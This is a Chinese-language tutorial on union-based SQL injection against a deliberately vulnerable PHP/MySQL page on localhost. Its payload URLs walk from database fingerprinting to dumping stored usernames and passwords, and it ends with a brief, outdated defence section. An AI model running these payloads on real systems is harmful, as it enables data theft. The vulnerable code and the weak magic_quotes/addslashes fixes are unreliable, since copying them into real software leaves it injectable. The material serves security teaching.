1、代码篇
<?php error_reporting(0); include("../conn.php"); if(isset($_GET[‘id‘])){ $id=$_GET[‘id‘]; echo "你当前输入id:".$id."<br>"; $sql="select * from user where id=‘$id‘ limit 0,1"; $res=mysql_query($sql); $row=mysql_fetch_array($res); if($row){ echo "你获取的数据:<br>"; echo "id:".$row[‘id‘]."<br>"; echo "username:".$row[‘username‘]."<br>"; echo "password:".$row[‘password‘]."<br>"; } else{ echo "mysql_query error".mssql_error(); } } else{ echo "请输入id"; } ?>
2、注入篇
http://localhost/pentest/sql/sql_get_id.php?id=1
你当前输入id:1 你获取的数据: id:1 username:admin password:pass
构造sql注入语句:
http://localhost/pentest/sql/sql_get_id.php?id=1‘ --+
你当前输入id:1‘ -- 你获取的数据: id:1 username:admin password:pass
我们就可以进行各种各样的查询
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select @@datadir,database(),version() --+
你当前输入id:1‘ and 1=2 union select @@datadir,database(),version() -- 你获取的数据:id:D:\wamp\bin\mysql\mysql5.5.20\data\username:bloodzeropassword:5.5.20-log
这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;
好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select current_user(),2,3 --+
你当前输入id:1‘ and 1=2 union select current_user(),2,3 -- 你获取的数据: id:[email protected] username:2 password:3注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+
你当前输入id:1‘ and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 -- 你获取的数据: id:information_schema username:2 password:3 注:我们可以通过改变limit 0,1的值来获取不同的值;limit m,n m:表示从查询结果的第几条开始取; n:表示取多少条;
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+
你当前输入id:1‘ and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 -- 你获取的数据: id:user username:2 password:3
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select column_name,2,3 from information_schema.columns where table_name=‘user‘ limit 0,1 --+
你当前输入id:1‘ and 1=2 union select column_name,2,3 from information_schema.columns where table_name=‘user‘ limit 0,1 -- 你获取的数据: id:id username:2 password:3 注:这里的表名如果执行不成功,可以更换为16进制
附:小葵转换工具 提取码:yisi
http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select id,username,password from user limit 0,1 --+
你当前输入id:1‘ and 1=2 union select id,username,password from user limit 0,1 -- 你获取的数据: id:1 username:admin password:pass
3、防注入
对于php+mysql防注入:首先将magic_quotes_off的值设为On;
int型
<?php error_reporting(0); include("../conn.php"); if(isset($_GET[‘id‘])){ $id=$_GET[‘id‘]; $id=intval($id); echo "你当前输入id:".$id."<br>"; $sql="select * from user where id=‘$id‘ limit 0,1"; …… ?>
char型
<?php error_reporting(0); include("../conn.php"); if(isset($_GET[‘id‘])){ $id=$_GET[‘id‘]; $id=intval($id); /* $search=addslashes($search); $search=str_replace(“_”,”\_”,$search); #过滤_ $search=str_replace(“%”,”\%”,$search); #过滤% */ echo "你当前输入id:".$id."<br>"; $sql="select * from user where id=‘$id‘ limit 0,1"; $res=mysql_query($sql); …… ?>